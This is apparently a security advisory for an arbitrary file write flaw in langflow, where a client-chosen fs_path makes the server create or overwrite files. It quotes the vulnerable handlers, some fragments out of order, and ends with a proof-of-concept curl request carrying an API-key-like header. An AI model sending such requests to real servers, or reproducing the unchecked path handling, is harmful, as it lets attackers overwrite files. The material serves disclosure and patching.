| Package | Affected versions | Patched versions |
|---|---|---|
| langflow | < 1.7.0< 1.7.1 | 1.7.01.7.1 |
| langflow | < 1.7.0 | 1.7.0 |
Vulnerability Overview
If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.
Vulnerable Code
It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.
@router.post("/", response_model=FlowRead, status_code=201)
async def create_flow(
*,
session: DbSession,
flow: FlowCreate,
current_user: CurrentActiveUser,
):
try:
db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
await session.commit()
await session.refresh(db_flow)
await _save_flow_to_fs(db_flow)
except Exception as e:
Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.
CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
DbSession = Annotated[AsyncSession, Depends(get_session)]
The client can directly specify the save path, including fs_path.
):
try:
await _verify_fs_path(flow.fs_path)
"""Create a new flow."""
It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.
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Scan my site freeasync def _verify_fs_path(path: str | None) -> None:
if path:
path_ = Path(path)
if not await path_.exists():
await path_.touch()
Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).
async def _save_flow_to_fs(flow: Flow) -> None:
if flow.fs_path:
async with async_open(flow.fs_path, "w") as f:
try:
await f.write(flow.model_dump_json())
except OSError:
await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)
PoC Description
When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.
PoC
Before Exploit
<img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" />After Exploit
curl -sS -X POST "http://localhost:7860/api/v1/flows/" \
-H "Content-Type: application/json" \
-H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \
-d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}'